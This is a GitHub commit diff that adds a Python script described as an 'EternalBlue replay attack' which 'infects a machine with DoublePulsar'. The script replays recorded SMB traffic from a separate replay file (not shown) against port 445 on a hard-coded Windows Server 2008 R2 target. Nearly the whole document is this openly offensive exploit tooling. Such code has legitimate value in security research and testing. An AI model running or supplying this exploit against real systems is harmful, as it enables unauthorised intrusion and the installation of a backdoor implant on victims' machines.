File tree Expand file tree Collapse file tree 2 files changed +413
-0
lines changed Expand file tree Collapse file tree 2 files changed +413
-0
lines changed Original file line number Diff line number Diff line change
1
+ #!/env/bin/python3
2
+ #
3
+ # EternalBlue replay attack by @jennamagius
4
+ #
5
+ # Copyright (C) 2017 RiskSense, Inc.
6
+ #
7
+ # License: Apache 2.0
8
+ #
9
+ # Infects a machine with DoublePulsar.
10
+ # Tested against Windows Server 2008 R2 SP1
11
+
12
+ import socket
13
+ import time
14
+ import ast
15
+
16
+ def main ():
17
+ backlog = open ("eternalblue.replay" ).read ().split ("\n \n " )
18
+ backlog = [ast .literal_eval (i ) for i in backlog ]
19
+ connections = []
20
+ start = time .monotonic ()
21
+ for i in backlog :
22
+ delta = i [- 1 ] - (start - time .monotonic ())
23
+ print (i [0 ], delta )
24
+ if delta > 0 :
25
+ time .sleep (delta )
26
+ start = time .monotonic ()
27
+ if i [0 ] == "connect" :
28
+ sock = socket .socket ()
29
+ sock .connect (('192.168.10.80' ,445 ))
30
+ connections .append ({"socket" :sock ,"stream" : i [1 ]})
31
+ if i [0 ] == "close" :
32
+ [j ['socket' ].close () for j in connections if j ["stream" ] == i [1 ]]
33
+ if i [0 ] == "send" :
34
+ [j ['socket' ].send (i [2 ]) for j in connections if j ["stream" ] == i [1 ]]
35
+ if i [0 ] == "recv" :
36
+ [j ['socket' ].recv (2048 ) for j in connections if j ['stream' ] == i [1 ]]
37
+
38
+
39
+ if __name__ == "__main__" :
40
+ main ()
You can’t perform that action at this time.
0 commit comments